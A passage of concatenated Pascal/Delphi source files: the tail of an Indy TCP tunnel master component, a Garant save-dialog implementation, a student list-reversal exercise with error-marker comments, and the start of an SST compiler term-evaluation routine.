MClientThread; procedure SetActive(pbValue: Boolean); override; procedure DoConnect(Thread: TIdPeerThread); override; procedure DoDisconnect(Thread: TIdPeerThread); override; function DoExecute(Thread: TIdPeerThread): boolean; override; procedure DoTransformRead(Thread: TIdPeerThread); virtual; procedure DoTransformSend(Thread: TIdPeerThread; var Header: TIdHeader; var CustomMsg: String); virtual; procedure DoInterpretMsg(Thread: TIdPeerThread; var CustomMsg: String); virtual; procedure LogEvent(Msg: String); public constructor Create(AOwner: TComponent); override; destructor Destroy; override; procedure SetStatistics(Module: Integer; Value: Integer); procedure GetStatistics(Module: Integer; var Value: Integer); property Active: Boolean read FbActive write SetActive Default True; property Logger: TLogger read fLogger write fLogger; property NumSlaves: Integer read GetNumSlaves; property NumServices: Integer read GetNumServices; published property MappedHost: string read fsMappedHost write fsMappedHost; property MappedPort: Integer read fiMappedPort write fiMappedPort; property LockDestinationHost: Boolean read fbLockDestinationHost write fbLockDestinationHost default False; property LockDestinationPort: Boolean read fbLockDestinationPort write fbLockDestinationPort default False; property OnConnect: TIdServerThreadEvent read FOnConnect write FOnConnect; property OnDisconnect: TIdServerThreadEvent read FOnDisconnect write FOnDisconnect; property OnTransformRead: TIdServerThreadEvent read fOnTransformRead write fOnTransformRead; property OnTransformSend: TSendTrnEvent read fOnTransformSend write fOnTransformSend; property OnInterpretMsg: TSendMsgEvent read fOnInterpretMsg write fOnInterpretMsg; end; // // END Master Tunnel classes /////////////////////////////////////////////////////////////////////////////// implementation uses IdCoreGlobal, IdException, IdGlobal, IdStack, IdResourceStrings, SysUtils; /////////////////////////////////////////////////////////////////////////////// // Master Tunnel classes // constructor TIdTunnelMaster.Create(AOwner: TComponent); begin inherited Create(AOwner); Clients := TThreadList.Create; fbActive := False; flConnectedSlaves := 0; flConnectedServices := 0; fNumberOfConnectionsValue := 0; fNumberOfPacketsValue := 0; fCompressionRatioValue := 0; fCompressedBytes := 0; fBytesRead := 0; fBytesWrite := 0; OnlyOneThread := TCriticalSection.Create; StatisticsLocker := TCriticalSection.Create; end; destructor TIdTunnelMaster.Destroy; begin Logger := nil; Active := False; if (csDesigning in ComponentState) then begin DisconectAllUsers; // disconnects service threads end; FreeAndNil(Clients); FreeAndNil(OnlyOneThread); FreeAndNil(StatisticsLocker); inherited Destroy; end; procedure TIdTunnelMaster.SetActive(pbValue: Boolean); begin if fbActive = pbValue then exit; // if not ((csLoading in ComponentState) or (csDesigning in ComponentState)) then begin if pbValue then begin inherited SetActive(True); end else begin inherited SetActive(False); DisconectAllUsers; // also disconnectes service threads end; // end; fbActive := pbValue; end; procedure TIdTunnelMaster.LogEvent(Msg: String); begin if Assigned(fLogger) then fLogger.LogEvent(Msg); end; function TIdTunnelMaster.GetNumSlaves: Integer; var ClientsNo: Integer; begin GetStatistics(NumberOfSlavesType, ClientsNo); Result := ClientsNo; end; function TIdTunnelMaster.GetNumServices: Integer; var ClientsNo: Integer; begin GetStatistics(NumberOfServicesType, ClientsNo); Result := ClientsNo; end; procedure TIdTunnelMaster.GetStatistics(Module: Integer; var Value: Integer); begin StatisticsLocker.Enter; try case Module of NumberOfSlavesType: begin Value := flConnectedSlaves; end; NumberOfServicesType: begin Value := flConnectedServices; end; NumberOfConnectionsType: begin Value := fNumberOfConnectionsValue; end; NumberOfPacketsType: begin Value := fNumberOfPacketsValue; end; CompressionRatioType: begin if fCompressedBytes > 0 then begin Value := Trunc((fBytesRead * 1.0) / (fCompressedBytes * 1.0) * 100.0) end else begin Value := 0; end; end; CompressedBytesType: begin Value := fCompressedBytes; end; BytesReadType: begin Value := fBytesRead; end; BytesWriteType: begin Value := fBytesWrite; end; end; finally StatisticsLocker.Leave; end; end; procedure TIdTunnelMaster.SetStatistics(Module: Integer; Value: Integer); var packets: Real; ratio: Real; begin StatisticsLocker.Enter; try case Module of NumberOfSlavesType: begin if TIdStatisticsOperation(Value) = soIncrease then begin Inc(flConnectedSlaves); end else begin Dec(flConnectedSlaves); end; end; NumberOfServicesType: begin if TIdStatisticsOperation(Value) = soIncrease then begin Inc(flConnectedServices); Inc(fNumberOfConnectionsValue); end else begin Dec(flConnectedServices); end; end; NumberOfConnectionsType: begin Inc(fNumberOfConnectionsValue); end; NumberOfPacketsType: begin Inc(fNumberOfPacketsValue); end; CompressionRatioType: begin ratio := fCompressionRatioValue; packets := fNumberOfPacketsValue; ratio := (ratio/100.0 * (packets - 1.0) + Value/100.0) / packets; fCompressionRatioValue := Trunc(ratio * 100); end; CompressedBytesType: begin fCompressedBytes := fCompressedBytes + Value; end; BytesReadType: begin fBytesRead := fBytesRead + Value; end; BytesWriteType: begin fBytesWrite := fBytesWrite + Value; end; end; finally StatisticsLocker.Leave; end; end; procedure TIdTunnelMaster.DoConnect(Thread: TIdPeerThread); begin Thread.Data := TSlaveData.Create; with TSlaveData(Thread.Data) do begin Receiver := TReceiver.Create; Sender := TSender.Create; SelfDisconnected := False; Locker := TCriticalSection.Create; end; if Assigned(OnConnect) then begin OnConnect(Thread); end; SetStatistics(NumberOfSlavesType, Integer(soIncrease)); end; procedure TIdTunnelMaster.DoDisconnect(Thread: TIdPeerThread); begin SetStatistics(NumberOfSlavesType, Integer(soDecrease)); // disconnect all service threads, owned by this tunnel DisconnectAllSubThreads(Thread); if Thread.Connection.Connected then Thread.Connection.Disconnect; If Assigned(OnDisconnect) then begin OnDisconnect(Thread); end; with TSlaveData(Thread.Data) do begin Receiver.Free; Sender.Free; Locker.Free; TSlaveData(Thread.Data).Free; end; Thread.Data := nil; end; function TIdTunnelMaster.DoExecute(Thread: TIdPeerThread): boolean; var user: TSlaveData; clientThread: MClientThread; s: String; ErrorConnecting: Boolean; sIP: String; CustomMsg: String; Header: TIdHeader; begin result := true; user := TSlaveData(Thread.Data); if Thread.Connection.IOHandler.Readable(IdTimeoutInfinite) then begin user.receiver.Data := Thread.Connection.CurrentReadBuffer; // increase the packets counter SetStatistics(NumberOfPacketsType, 0); while user.receiver.TypeDetected do begin // security filter if not (user.receiver.Header.MsgType in [tmData, tmDisconnect, tmConnect, tmCustom]) then begin Thread.Connection.Disconnect; break; end; if user.receiver.NewMessage then begin if user.Receiver.CRCFailed then begin Thread.Connection.Disconnect; break; end; // Custom data transformation try DoTransformRead(Thread); except Thread.Connection.Disconnect; Break; end; // Action case user.Receiver.Header.MsgType of // transformation of data failed, disconnect the tunnel tmError: begin try Thread.Connection.Disconnect; break; except ; end; end; // Failure END // Data tmData: begin try SetString(s, user.Receiver.Msg, user.Receiver.MsgLen); ClientOperation(tmData, user.Receiver.Header.UserId, s); except ; end; end; // Data END // Disconnect tmDisconnect: begin try ClientOperation(tmDisconnect, user.Receiver.Header.UserId, ''); {Do not Localize} except ; end; end; // Disconnect END // Connect tmConnect: begin // Connection should be done synchroneusly // because more data could arrive before client // connects asyncroneusly try clientThread := MClientThread.Create(self); try ErrorConnecting := False; with clientThread do begin UserId := user.Receiver.Header.UserId; MasterThread := Thread; OutboundClient := TIdTCPClient.Create(nil); sIP := GStack.TInAddrToString(user.Receiver.Header.IpAddr); if fbLockDestinationHost then begin OutboundClient.Host := fsMappedHost; if fbLockDestinationPort then OutboundClient.Port := fiMappedPort else OutboundClient.Port := user.Receiver.Header.Port; end else begin // do we tunnel all connections from the slave to the specified host if sIP = '0.0.0.0' then begin {Do not Localize} OutboundClient.Host := fsMappedHost; OutboundClient.Port := user.Receiver.Header.Port; //fiMappedPort; end else begin OutboundClient.Host := sIP; OutboundClient.Port := user.Receiver.Header.Port; end; end; OutboundClient.Connect; end; except ErrorConnecting := True; end; if ErrorConnecting then begin clientThread.Destroy; end else begin clientThread.Resume; end; except ; end; end; // Connect END // Custom data interpretation tmCustom: begin CustomMsg := ''; {Do not Localize} DoInterpretMsg(Thread, CustomMsg); if Length(CustomMsg) > 0 then begin Header.MsgType := tmCustom; Header.UserId := 0; SendMsg(Thread, Header, CustomMsg); end; end; end; // case // Shift of data user.Receiver.ShiftData; end else break; // break the loop end; // end while end; // readable end; procedure TIdTunnelMaster.DoTransformRead(Thread: TIdPeerThread); begin if Assigned(fOnTransformRead) then fOnTransformRead(Thread); end; procedure TIdTunnelMaster.DoTransformSend(Thread: TIdPeerThread; var Header: TIdHeader; var CustomMsg: String); begin if Assigned(fOnTransformSend) then fOnTransformSend(Thread, Header, CustomMsg); end; procedure TIdTunnelMaster.DoInterpretMsg(Thread: TIdPeerThread; var CustomMsg: String); begin if Assigned(fOnInterpretMsg) then fOnInterpretMsg(Thread, CustomMsg); end; // Disconnect all services owned by tunnel thread procedure TIdTunnelMaster.DisconnectAllSubThreads(TunnelThread: TIdPeerThread); var Thread: MClientThread; i: integer; listTemp: TList; begin OnlyOneThread.Enter; // for now it is done with locking listTemp := Clients.LockList; try for i := 0 to listTemp.count - 1 do begin if Assigned(listTemp[i]) then begin Thread := MClientThread(listTemp[i]); if Thread.MasterThread = TunnelThread then begin Thread.DisconnectedOnRequest := True; Thread.OutboundClient.Disconnect; end; end; end; finally Clients.UnlockList; OnlyOneThread.Leave; end; end; procedure TIdTunnelMaster.SendMsg(MasterThread: TIdPeerThread; var Header: TIdHeader; s: String); var user: TSlaveData; tmpString: String; begin if Assigned(MasterThread.Data) then begin TSlaveData(MasterThread.Data).Locker.Enter; try user := TSlaveData(MasterThread.Data); try // Custom data transformation before send tmpString := s; try DoTransformSend(MasterThread, Header, tmpString); except on E: Exception do begin raise EIdTunnelTransformErrorBeforeSend.Create(RSTunnelTransformErrorBS); end; end; if Header.MsgType = tmError then begin // error ocured in transformation raise EIdTunnelTransformErrorBeforeSend.Create(RSTunnelTransformErrorBS); end; user.Sender.PrepareMsg(Header, PChar(@tmpString[1]), Length(tmpString)); MasterThread.Connection.Write(user.Sender.Msg); except raise; end; finally TSlaveData(MasterThread.Data).Locker.Leave; end; end; end; function TIdTunnelMaster.GetClientThread(UserID: Integer): MClientThread; var Thread: MClientThread; i: integer; begin Result := nil; with Clients.LockList do try for i := 0 to Count-1 do begin try if Assigned(Items[i]) then begin Thread := MClientThread(Items[i]); if Thread.UserId = UserID then begin Result := Thread; break; end; end; except Result := nil; end; end; finally Clients.UnlockList; end; end; procedure TIdTunnelMaster.DisconectAllUsers; begin TerminateAllThreads; end; procedure TIdTunnelMaster.ClientOperation(Operation: Integer; UserId: Integer; s: String); var Thread: MClientThread; begin Thread := GetClientThread(UserID); if Assigned(Thread) then begin Thread.Locker.Enter; try if not Thread.SelfDisconnected then begin case Operation of tmData: begin try Thread.OutboundClient.IOHandler.CheckForDisconnect; if Thread.OutboundClient.Connected then Thread.OutboundClient.Write(s); except try Thread.OutboundClient.Disconnect; except ; end; end; end; tmDisconnect: begin Thread.DisconnectedOnRequest := True; try Thread.OutboundClient.Disconnect; except ; end; end; end; end; finally Thread.Locker.Leave; end; end; // Assigned end; ///////////////////////////////////////////////////////////////// // // MClientThread thread, talks to the service // ///////////////////////////////////////////////////////////////// constructor MClientThread.Create(AMaster: TIdTunnelMaster); begin MasterParent := AMaster; FreeOnTerminate := True; DisconnectedOnRequest := False; SelfDisconnected := False; Locker := TCriticalSection.Create; MasterParent.Clients.Add(self); AMaster.SetStatistics(NumberOfServicesType, Integer(soIncrease)); inherited Create(True); end; destructor MClientThread.Destroy; var Header: TIdHeader; begin MasterParent.SetStatistics(NumberOfServicesType, Integer(soDecrease)); MasterParent.Clients.Remove(self); try if not DisconnectedOnRequest then begin // service disconnected the thread try Header.MsgType := tmDisconnect; Header.UserId := UserId; MasterParent.SendMsg(MasterThread, Header, RSTunnelDisconnectMsg); except end; end; if OutboundClient.Connected then begin OutboundClient.Disconnect; end; except end; MasterThread := nil; try OutboundClient.Free; except end; Locker.Free; Terminate; // dodano inherited Destroy; end; // thread which talks to the service procedure MClientThread.Execute; var s: String; Header: TIdHeader; begin try while not Terminated do begin if OutboundClient.Connected then begin if OutboundClient.IOHandler.Readable(IdTimeoutInfinite) then begin s := OutboundClient.CurrentReadBuffer; try Header.MsgType := tmData; Header.UserId := UserId; MasterParent.SendMsg(MasterThread, Header, s); except Terminate; break; end; end; end else begin Terminate; break; end; end; except ; end; Locker.Enter; try SelfDisconnected := True; finally Locker.Leave; end; end; end.
unit nsSaveDialogImpl; // Модуль: "w:\garant6x\implementation\Garant\GbaNemesis\Common\nsSaveDialogImpl.pas" // Стереотип: "ServiceImplementation" // Элемент модели: "TnsSaveDialogImpl" MUID: (573B090C02C5) {$Include w:\garant6x\implementation\Garant\nsDefine.inc} interface {$If Defined(InsiderTest) AND NOT Defined(Admin) AND NOT Defined(Monitorings) AND NOT Defined(NoScripts)} uses l3IntfUses , l3ProtoObject , nsSaveDialogExecutor , nsTypes , PresentationInterfaces , nsSaveDialog ; type TnsSaveDialogImpl = {final} class(Tl3ProtoObject, InsSaveDialogExecutor) private f_FileFormat: TnsFileFormat; f_FileName: AnsiString; f_SaveObjects: TnsSaveDialogListTarget; f_MergeFiles: Boolean; f_SelectedOnly: Boolean; f_SaveObjDefault: Boolean; f_MergeDefault: Boolean; f_SelOnlyDefault: Boolean; protected procedure InitFields; override; public function Call(aDialog: TnsSaveDialog): Boolean; function GetFileName: AnsiString; procedure SetFileName(const aName: AnsiString); procedure SetFileFormat(aFileFormat: TnsFileFormat); procedure SetSaveObjects(aValue: TnsSaveDialogListTarget); procedure SetMergeFiles(aValue: Boolean); procedure SetSelectedOnly(aValue: Boolean); class function Instance: TnsSaveDialogImpl; {* Метод получения экземпляра синглетона TnsSaveDialogImpl } class function Exists: Boolean; {* Проверяет создан экземпляр синглетона или нет } end;//TnsSaveDialogImpl {$IfEnd} // Defined(InsiderTest) AND NOT Defined(Admin) AND NOT Defined(Monitorings) AND NOT Defined(NoScripts) implementation {$If Defined(InsiderTest) AND NOT Defined(Admin) AND NOT Defined(Monitorings) AND NOT Defined(NoScripts)} uses l3ImplUses {$If NOT Defined(NoVCL)} , Forms {$IfEnd} // NOT Defined(NoVCL) , l3BatchService {$If NOT Defined(NoVCL)} , Dialogs {$IfEnd} // NOT Defined(NoVCL) , SysUtils , l3Base //#UC START# *573B090C02C5impl_uses* //#UC END# *573B090C02C5impl_uses* ; var g_TnsSaveDialogImpl: TnsSaveDialogImpl = nil; {* Экземпляр синглетона TnsSaveDialogImpl } procedure TnsSaveDialogImplFree; {* Метод освобождения экземпляра синглетона TnsSaveDialogImpl } begin l3Free(g_TnsSaveDialogImpl); end;//TnsSaveDialogImplFree function TnsSaveDialogImpl.Call(aDialog: TnsSaveDialog): Boolean; //#UC START# *573A0E8C0257_573B090C02C5_var* const c_ListKinds = [ns_sdkListInternal, ns_sdkList]; //#UC END# *573A0E8C0257_573B090C02C5_var* begin //#UC START# *573A0E8C0257_573B090C02C5_impl* if Tl3BatchService.Instance.IsBatchMode then begin Result := True; if aDialog.DialogKind in c_ListKinds then begin if f_SaveObjDefault then f_SaveObjects := ns_sdlkTitles; if f_MergeDefault then f_MergeFiles := False; if f_SelOnlyDefault then f_SelectedOnly := True; end; f_FileName := ChangeFileExt(ParamStr(0), '.autosave'); case f_FileFormat of ns_ffTxt: aDialog.FilterIndex := 2; ns_ffHTML: aDialog.FilterIndex := 3; ns_ffPDF: aDialog.FilterIndex := 4; ns_ffXML: aDialog.FilterIndex := 5; ns_ffEvd: aDialog.FilterIndex := 6; ns_ffNull: aDialog.FilterIndex := 7; else aDialog.FilterIndex := 1; end; Assert(aDialog.SelectedFileFormat = f_FileFormat); aDialog.FileName := f_FileName; if aDialog.DialogKind in c_ListKinds then begin aDialog.SaveListTarget := f_SaveObjects; aDialog.MergeChecked := f_MergeFiles; aDialog.SelectedOnlyChecked := f_SelectedOnly; end; f_SaveObjDefault := True; f_MergeDefault := True; f_SelOnlyDefault := True; end else Result := aDialog.Execute; //#UC END# *573A0E8C0257_573B090C02C5_impl* end;//TnsSaveDialogImpl.Call function TnsSaveDialogImpl.GetFileName: AnsiString; //#UC START# *57447EC501FC_573B090C02C5_var* //#UC END# *57447EC501FC_573B090C02C5_var* begin //#UC START# *57447EC501FC_573B090C02C5_impl* Result := f_FileName; //#UC END# *57447EC501FC_573B090C02C5_impl* end;//TnsSaveDialogImpl.GetFileName procedure TnsSaveDialogImpl.SetFileName(const aName: AnsiString); //#UC START# *5811C5A001F6_573B090C02C5_var* //#UC END# *5811C5A001F6_573B090C02C5_var* begin //#UC START# *5811C5A001F6_573B090C02C5_impl* f_FileName := aName; //#UC END# *5811C5A001F6_573B090C02C5_impl* end;//TnsSaveDialogImpl.SetFileName procedure TnsSaveDialogImpl.SetFileFormat(aFileFormat: TnsFileFormat); //#UC START# *57447EFA00A1_573B090C02C5_var* //#UC END# *57447EFA00A1_573B090C02C5_var* begin //#UC START# *57447EFA00A1_573B090C02C5_impl* f_FileFormat := aFileFormat; //#UC END# *57447EFA00A1_573B090C02C5_impl* end;//TnsSaveDialogImpl.SetFileFormat procedure TnsSaveDialogImpl.SetSaveObjects(aValue: TnsSaveDialogListTarget); //#UC START# *57FCE260011C_573B090C02C5_var* //#UC END# *57FCE260011C_573B090C02C5_var* begin //#UC START# *57FCE260011C_573B090C02C5_impl* f_SaveObjDefault := False; f_SaveObjects := aValue; //#UC END# *57FCE260011C_573B090C02C5_impl* end;//TnsSaveDialogImpl.SetSaveObjects procedure TnsSaveDialogImpl.SetMergeFiles(aValue: Boolean); //#UC START# *57FCE36B0114_573B090C02C5_var* //#UC END# *57FCE36B0114_573B090C02C5_var* begin //#UC START# *57FCE36B0114_573B090C02C5_impl* f_MergeDefault := False; f_MergeFiles := aValue; //#UC END# *57FCE36B0114_573B090C02C5_impl* end;//TnsSaveDialogImpl.SetMergeFiles procedure TnsSaveDialogImpl.SetSelectedOnly(aValue: Boolean); //#UC START# *57FCE99E0115_573B090C02C5_var* //#UC END# *57FCE99E0115_573B090C02C5_var* begin //#UC START# *57FCE99E0115_573B090C02C5_impl* f_SelOnlyDefault := False; f_SelectedOnly := aValue; //#UC END# *57FCE99E0115_573B090C02C5_impl* end;//TnsSaveDialogImpl.SetSelectedOnly class function TnsSaveDialogImpl.Instance: TnsSaveDialogImpl; {* Метод получения экземпляра синглетона TnsSaveDialogImpl } begin if (g_TnsSaveDialogImpl = nil) then begin l3System.AddExitProc(TnsSaveDialogImplFree); g_TnsSaveDialogImpl := Create; end; Result := g_TnsSaveDialogImpl; end;//TnsSaveDialogImpl.Instance class function TnsSaveDialogImpl.Exists: Boolean; {* Проверяет создан экземпляр синглетона или нет } begin Result := g_TnsSaveDialogImpl <> nil; end;//TnsSaveDialogImpl.Exists procedure TnsSaveDialogImpl.InitFields; //#UC START# *47A042E100E2_573B090C02C5_var* //#UC END# *47A042E100E2_573B090C02C5_var* begin //#UC START# *47A042E100E2_573B090C02C5_impl* inherited; f_SaveObjDefault := True; f_MergeDefault := True; f_SelOnlyDefault := True; //#UC END# *47A042E100E2_573B090C02C5_impl* end;//TnsSaveDialogImpl.InitFields initialization TnsSaveDialogExecutor.Instance.Alien := TnsSaveDialogImpl.Instance; {* Регистрация TnsSaveDialogImpl } {$IfEnd} // Defined(InsiderTest) AND NOT Defined(Admin) AND NOT Defined(Monitorings) AND NOT Defined(NoScripts) end.
program Reverse(input, output); { Reads in a N-element list of integers and reverses it } const MaxSize = 50; type ArrayType = array[1..MaxSize] of integer; var List : ArrayType; { array to be reversed } N : integer; { size of array List } First, Last : integer; { array indices } i : integer; { array index } ValidSize : boolean; { boolean to confirm the size of the list is valid } (**************************** PROCEDURE EXCHANGE ********************************) Procedure Exchange (var List: ArrayType; First, Last: integer); { Reverses the elements between First and Last in array List } var Temp : integer; { temporary storage used while switching two values } begin if ((Last - First) <= 0) then { Error #1 } { do nothing } else begin Temp := List[Last]; { Error #2 } List[Last] := List[First]; List[First] := Temp; Exchange(List, First + 1, Last - 1); end; end; (******************************** MAIN PROGRAM **********************************) begin { Main Program } ValidSize := false; while (ValidSize = false) do begin writeln('Enter the size of the list: (at most ', MaxSize,')'); { Error #5 } readln(N); if ((N <= MaxSize) and (N >= 0)) then { Errors #3, 4 } ValidSize := true; end; writeln('Enter ', N,' integers, a space between each. '); { Error #6 } for i:= 1 to N do read(List[i]); First := 1; Last := N; Exchange(List, First, Last); writeln('Reversed list is: '); for i := 1 to N do write(List[i], ' '); writeln; writeln; writeln('END OF PROGRAM'); end. { Main Program }
{ Subroutine SST_TERM_EVAL (TERM, NVAL_ERR) * * Evaluate a compiled term. This means determining its data type, and * value if known at compile time. TERM is the term to evaluate. If * NVAL_ERR is TRUE, then it will be considered an error if the term can * not be evaluated to a constant value. } module sst_TERM_EVAL; define sst_term_eval; %include 'sst2.ins.pas'; procedure sst_term_eval ( {evaluate compiled term in expression} in out term: sst_exp_term_t; {term, fills in value and data type} in nval_err: boolean); {unknown value at compile time is err if TRUE} const args_n_any = 0; {CHECK_IFUNC_ARGS will allow any num of args} max_msg_parms = 2; {max parameters we can pass to a message} pi = 3.14159265358923846; pi_half = pi / 2.0; var ord_min, ord_max: sys_int_max_t; {ordinal value limits of subrange data type} ord_min_dt, ord_max_dt: sys_int_max_t; {min/max ordinal values of set ele dtype} ele_p: sst_ele_exp_p_t; {pointer to current set element descriptor} dt_p: sst_dtype_p_t; {scratch pointer to data type descriptor} dt: sst_dtype_k_t; {scratch data type ID} ifarg_p: sst_exp_chain_p_t; {pnt to curr link in intrinsic func arg chain} args_n: sys_int_machine_t; {number of arguments to intrinsic function} args_dt: sst_dtype_set_t; {set of all base dtype IDs of ifunc args} r1, r2: double; {scratch to compute result value} i1, i2: sys_int_max_t; {scratch to compute reuslt value} mod_p: sst_var_mod_p_t; {points to current modifier in var descriptor} field_last: boolean; {TRUE if last mod was field in record} stat: sys_err_t; {error status code} msg_parm: {parameter references for messages} array[1..max_msg_parms] of sys_parm_msg_t; label arg_bad_offset, done_ifunc, done_term_type, leave, bad_op1; { ***************************************************************** * * Local subroutine DO_ELE_EXP (T, E) * * Process an expression for the value of an element in a set. E is the * expression descriptor. T is the term descriptor that is a reference to * the set. The data type of elements in the set so far is pointed to by * T.DTYPE_P^.SET_DTYPE_P. It is set to NIL if no previous elements have * been processed. It will be updated as necessary. ORD_MIN and ORD_MAX * are the min/max ordinal values that set elements may take on. These * are initialized for the first element and updated for subsequent elements. } procedure do_ele_exp ( in out t: sst_exp_term_t; {term descriptor referencing SET} in out e: sst_exp_t); {expression descriptor for element value} var dt2_p: sst_dtype_p_t; {base data type of element expression} ord_ele_min, ord_ele_max: sys_int_max_t; {min/max ordinal values of this element} done_ord: boolean; {TRUE if ORD_ELE_MIN,ORD_ELE_MAX determined} label resolve_dtype; begin sst_exp_eval (e, false); {make sure ele value expression is evaluated} done_ord := false; {init to not already found ORD_ELE_MIN/MAX} dt2_p := e.dtype_p; {init pointer to resolved data type} resolve_dtype: {back here to re-try with next layer dtype} case dt2_p^.dtype of sst_dtype_int_k: begin if not done_ord then begin if e.val_fnd then begin {expression has constant value} ord_ele_min := e.val.int_val; ord_ele_max := ord_ele_min; end else begin {expression has no known constant value} ord_ele_min := -100000; {these values will prevent making subrange} ord_ele_max := 100000; end ; end; end; sst_dtype_enum_k: begin if not done_ord then begin if e.val_fnd then begin {expression has constant value} ord_ele_min := e.val.enum_p^.enum_ordval; ord_ele_max := ord_ele_min; end else begin {expression has no known constant value} ord_ele_min := 0; ord_ele_max := dt2_p^.enum_last_p^.enum_ordval; end ; end; end; sst_dtype_bool_k: begin if not done_ord then begin if e.val_fnd then begin {expression has constant value} if e.val.bool_val then ord_ele_min := 1 else ord_ele_min := 0; ord_ele_max := ord_ele_min; end else begin {expression has no known constant value} ord_ele_min := 0; ord_ele_max := 1; end ; end; end; sst_dtype_char_k: begin if not done_ord then begin if e.val_fnd then begin {expression has constant value} ord_ele_min := ord(e.val.char_val); ord_ele_max := ord_ele_min; end else begin {expression has no known constant value} ord_ele_min := 0; ord_ele_max := 255; end ; end; end; sst_dtype_range_k: begin if not e.val_fnd then begin {ord min/max is whole subrange ?} ord_ele_min := dt2_p^.range_ord_first; ord_ele_max := ord_ele_min + dt2_p^.range_n_vals - 1; done_ord := true; {indicate ord min/max has been determined} end; dt2_p := dt2_p^.range_dtype_p; {init subrange base data type pointer} goto resolve_dtype; {go back to resolve real base data type} end; sst_dtype_copy_k: begin dt2_p := dt2_p^.copy_dtype_p; goto resolve_dtype; end; otherwise syo_error (e.str_h, 'sst', 'dtype_element_bad', nil, 0); end; {ORD_ELE_MIN, ORD_ELE_MAX all set} if t.dtype_p^.set_dtype_p = nil then begin {this is first element evaluated} t.dtype_p^.set_dtype_p := dt2_p; {init set elements data types} ord_min := ord_ele_min; {init min/max possible ele ordinal values} ord_max := ord_ele_max; end else begin {previous terms have been evaluated} if dt2_p <> t.dtype_p^.set_dtype_p then begin syo_error (e.str_h, 'sst', 'dtype_element_mismatch', nil, 0); end; ord_min := min(ord_min, ord_ele_min); {update min/max ordinal value range} ord_max := max(ord_max, ord_ele_max); end ; end; { ***************************************************************** * * Local subroutine CHECK_IFUNC_ARGS (T, RW, N_ALLOWED, N, DT_ALLOWED, DT) * * Process the arguments to an intrinsic function. Call arguments are: * * T - Term descriptor for the whole intrinsic function. * * RW - Indicates the read/write access needed to the expression value. * RW is a SET. The possible element values are: * * SST_RWFLAG_READ_K - Expression value must be readable. * SST_RWFLAG_WRITE_K - Expression value must be writeable. * * N_ALLOWED - The exact number of arguments allowed. Will abort with error * if not match number of arguments, unless N_ALLOWED = ARGS_N_ANY. * * N - Actual number of arguments found. * * DT_ALLOWED - Set of all the base data type IDs allowed for all of the * arguments. Will abort on error if an agument is encountered of a base data * type ID not in DT_ALLOWED, unless DT_ALLOWED is the empty set. * * DT - Set of all the base data type IDs for all the arguments actually * encountered. * * The expression for each argument will be evaluated. IFARG_P will be set * pointing to the first link in the arguments chain for this intrinsic function. * T.VAL_FND will be set to TRUE if all the arguments have a known constant value, * otherwise T.VAL_FND will be set to FALSE. } procedure check_ifunc_args ( {get info about and check ifunc arguments} in out t: sst_exp_term_t; {term descriptor for whole intrinsic function} in rw: sst_rwflag_t; {read/write expression useage} in n_allowed: sys_int_machine_t; {exact number of arguments allowed} out n: sys_int_machine_t; {number of arguments actually found} in dt_allowed: sst_dtype_set_t; {set of all the legal arg base data type IDs} out args_dt: sst_dtype_set_t); {set of arg base data type IDs actually found} begin n := 0; {init number of arguments found} args_dt := []; {init set of all base arg data types found} t.val_fnd := true; {init to all arguments have known value} ifarg_p := term.ifunc_args_p; {init current argument to first in chain} while ifarg_p <> nil do begin {once for each ifunc argument in chain} n := n + 1; {count one more argument to intrinsic func} if {too many arguments ?} (n_allowed <> args_n_any) and (n > n_allowed) then begin sys_msg_parm_int (msg_parm[1], n_allowed); syo_error ( ifarg_p^.exp_p^.str_h, 'sst', 'func_intrinsic_args_too_many', msg_parm, 1); end; sst_exp_eval (ifarg_p^.exp_p^, false); {evaluate this argument} sst_exp_useage_check ( {check that expression can be used this way} ifarg_p^.exp_p^, {expression descriptor} rw, {read/write access we require here} sst_dtype_none); {no type checking will be done} if {data type mismatch ?} (dt_allowed <> []) and {explicit types required ?} (not (ifarg_p^.exp_p^.val.dtype in dt_allowed)) {not match directly ?} then begin syo_error (ifarg_p^.exp_p^.str_h, 'sst', 'func_intrinsic_arg_dtype_bad', nil, 0); end; args_dt := args_dt + [ifarg_p^.exp_p^.val.dtype]; {accumulate dtype IDs found} t.val_fnd := t.val_fnd and ifarg_p^.exp_p^.val_fnd; {TRUE if all args const} ifarg_p := ifarg_p^.next_p; {advance to next argument in chain} end; {back and process this next argument} if {not enough arguments ?} (n_allowed <> args_n_any) and (n < n_allowed) then begin sys_msg_parm_int (msg_parm[1], n_allowed); sys_msg_parm_int (msg_parm[2], n); syo_error (term.str_h, 'sst', 'func_intrinsic_args_too_few', msg_parm, 2); end; ifarg_p := term.ifunc_args_p; {reset current argument to first in chain} end; { ***************************************************************** * * Start of main routine. } begin if term.val_eval then goto leave; {term already evaluated ?} term.val_eval := true; {term will be evaluated} term.val_fnd := false; {init to term has no constant value} term.dtype_hard := true; {init to data type is absolutely definate} term.rwflag := [sst_rwflag_read_k]; {init to term is readable only} case term.ttype of {what kind of term is this ?} { ****************************** * * Term is a constant. } sst_term_const_k: begin term.val_fnd := true; {term definately has a constant value} case term.val.dtype of {what kind of data type is constant} sst_dtype_int_k: begin term.dtype_p := sst_dtype_int_max_p; term.dtype_hard := false; end; sst_dtype_enum_k: begin term.dtype_p := term.val.enum_p^.enum_dtype_p; end; sst_dtype_float_k: begin term.dtype_p := sst_dtype_float_max_p; term.dtype_hard := false; end; sst_dtype_bool_k: begin term.dtype_p := sst_dtype_bool_p; end; sst_dtype_char_k: begin term.dtype_p := sst_dtype_char_p; end; sst_dtype_array_k: begin sst_dtype_new_string ( {create string data type for this term} term.val.ar_str_p^.len, term.dtype_p); end; sst_dtype_pnt_k: begin term.dtype_p := term.val.pnt_dtype_p; end; otherwise sys_msg_parm_int (msg_parm[1], ord(term.val.dtype)); syo_error (term.str_h, 'sst', 'dtype_unexpected', msg_parm, 1); end; {end of data type cases} end; { ****************************** * * Term is a variable. } sst_term_var_k: begin term.rwflag := term.var_var_p^.rwflag; {copy variable's read/write access flag} term.dtype_p := term.var_var_p^.dtype_p; {copy variable's data type} case term.var_var_p^.vtype of {what kind of variable is this ?} sst_vtype_var_k: ; {legal, but no special handling needed} sst_vtype_dtype_k: ; sst_vtype_const_k: begin {"variable" is a named constant} term.val := term.var_var_p^.const_val_p^; {get constant's value} term.val_fnd := true; {term has definate known value} end; otherwise sys_msg_parm_int (msg_parm[1], ord(term.var_var_p^.vtype)); syo_error (term.str_h, 'sst', 'vtype_unexpected', msg_parm, 1); end; {end of "variable" type cases} end; { ****************************** * * Term is a function. } sst_term_func_k: begin term.rwflag := [sst_rwflag_read_k]; {function value is read-only} term.dtype_p := 